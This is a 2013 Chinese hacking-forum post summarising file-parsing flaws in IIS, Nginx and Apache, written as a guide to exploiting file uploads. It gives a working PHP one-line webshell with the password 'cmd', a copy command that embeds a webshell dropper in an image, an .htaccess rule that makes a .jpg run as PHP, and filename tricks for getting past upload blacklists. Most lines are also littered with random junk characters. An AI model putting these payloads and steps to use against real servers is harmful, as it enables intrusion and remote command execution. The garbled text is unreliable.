找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2700|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author : laterain( d9 P6 [4 R: Y+ @$ D$ c
[+]IIS6.0' d0 }- g3 [. h+ n- _5 l

7 w  i& Q4 Y% B9 \目录解析:/xx.asp/xx.jpg
$ K: Z! k7 K; }% Q. m xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码) Y. G2 U8 T8 d* `+ }
IIS6.0 会将 xx.jpg 解析为 asp 文件。2 }- H1 ~- a# e( v7 _& y
后缀解析:/xx.asp;.jpg     . e0 U8 {- d) j; u6 T. _- T
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。
' a( t4 q3 P: D% x默认解析:/xx.asa) u* C7 s: p# {3 ]; j5 T
         /xx.cer0 Q; u: [' s* b
         /xx.cdx
/ C. @1 @8 I, F, }; R/ a  H IIS6.0 默认的可执行文件除了 asp 还包含这三种) m) D  j' J/ ]4 s+ E; N5 p/ `
此处可联系利用目录解析漏洞 ! R- g3 t; X5 U, `1 _" {. z
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg  P  a7 c0 @8 }6 e  U
[+]IIS 7.0/IIS 7.5/Nginx <0.8.039 _! f" P7 e) x# b+ P5 {" O* S
- ~. {" s: a$ h0 W# n0 _6 e5 c0 n6 S
IIS 7.0/IIS 7.5/Nginx <0.8.03/ h8 ]6 w3 O! `: m
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面5 {0 I; r: |+ p
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。
- g$ S/ B/ y9 z& S) w* c, d 常用利用方法:
# G; X- f- e2 c% K 将一张图和一个写入后门代码的文本文件合并将恶意文本* g* f" ]( k- J' Q3 L' }
写入图片的二进制代码之后,避免破坏图片文件头和尾
, H+ R! f0 C+ C; J 如:
: s1 x& I8 ]' E1 X copy xx.jpg /b + yy.txt/a xy.jpg/ r" N: \; @, }0 ]4 m7 p
#########################################################
1 w5 y  T: z' M4 J6 D /b 即二进制[binary]模式: d6 o4 e) w/ D
/a 即ascii模式- t0 o5 m& j2 j' l+ W
xx.jpg 正常图片文件+ O, s) h6 H" M0 i: I
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
5 e2 L: g% H+ }7 Z( p7 X! g* q- \ '<?php eval($_POST[cmd])?>');?>
" ?; v$ g5 n( T& X 意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称
' W( V6 ?& c6 V% [ 为shell.php的文件
& g0 _; Z# t# Z% c# r ###########################################################
' |# p! t' ?$ ?. Z+ r8 ?1 M 找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php
  S; K+ x6 |9 Z7 d9 H9 K5 X3 S0 Y 即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php 7 {4 }2 ?9 o1 m/ R- }
密码 cmd
) S# ~: \+ ]- V* q8 X[+]Nginx <0.8.03
" a- ^8 l3 e: M# v. T . Z2 k! o- h% K9 M
在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞' M; U( S4 @- C( J( `
在一个文件路径(/xx.jpg)后面加上%00.php
! p% L6 _6 @6 z8 d7 R- ?) t 会将 /xx.jpg%00.php 解析为 php 文件。. \: r" C, s9 c/ V$ t" `
[+]Apache<0.8.03
  R' Y$ ~$ Y7 q3 t! K1 f( V' t
) C- k0 ~  M' o, X, Z 后缀解析:test.php.x1.x2.x34 m. R) q3 S- T' B& P* Q5 q+ J6 o) ~7 x
Apache将从右至左开始判断后缀,若x3非可识别后缀,
4 L) L/ j2 o# |6 x 再判断x2,直到找到可识别后缀为止,然后将该可识别6 K1 K; A7 s1 x+ h! |
后缀进解析test.php.x1.x2.x3 则会被解析为php- I7 c% [$ X& c. z, _# E5 t
经验之谈:php|php3|phtml 多可被Apache解析。
/ X; d* Z1 Y' F[+]其他一些可利用的
- G/ n5 J' l7 P4 ~% N- k( X
! D1 U7 n1 o) \在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的
! _* i* X7 h' X. T. V$ [; [! D若这样命名,windows会默认除去空格或点,这也是可以被利用的!6 f6 W, @" Y& P% d4 @! I
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格
' q% Z& c8 K( G$ a( N4 T: l或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可
$ I% x3 M8 {+ `& s得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。  K0 I" G6 [7 T
{Linux主机中不行,Linux允许这类文件存在}! e/ F7 h4 f3 B# u6 F, C3 m7 G
如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说( f$ i+ C1 k% U, M$ |4 j; R- v' t
的,当初我并不知道),且可以被上传,那可以尝试在
! C; }  N- ?8 \( G. X' o* y.htaccess中写入:
' ]5 l6 a" h, Y, f6 G<FilesMatch “shell.jpg”> $ e  _8 c% C) }6 ]1 f/ z
SetHandler application/x-httpd-php
( m5 E" [( j) \6 g' ]! A9 T1 H</FilesMatch>' K3 [+ |0 l* f) G
shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件
& ?( J& X" }& J9 l3 V[+]错误修改
8 W+ u+ z: r, }! L/ }/ j3 J' G+ k
- j6 d( `$ n' q" c" M在 IIS 6.0 下可解析 /xx.asp:.jpg
4 @+ b5 z1 y& x. S* y# {{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去/ {; ^, K- E! w& ]. o1 s' I7 w
剩下/xx.asp}修改:
' A. Q, m! B5 a4 ~+ G先谢谢核攻击的提醒
" B! O; J! x/ n! d( Z2 E, @当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp8 v6 |# [2 R! C  x9 V! j
里是没有任何内容的,因为。。不好解释 大家自己看- f- I; g7 F( k' ]0 m5 ]
http://lcx.cc/?i=2448  z! N2 ^2 |' ^( t6 E
http://baike.baidu.com/view/3619593.htm
+ t" r, G7 _6 |. D, [) }+ c1 {8 s/ b! m0 X" _, G  z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表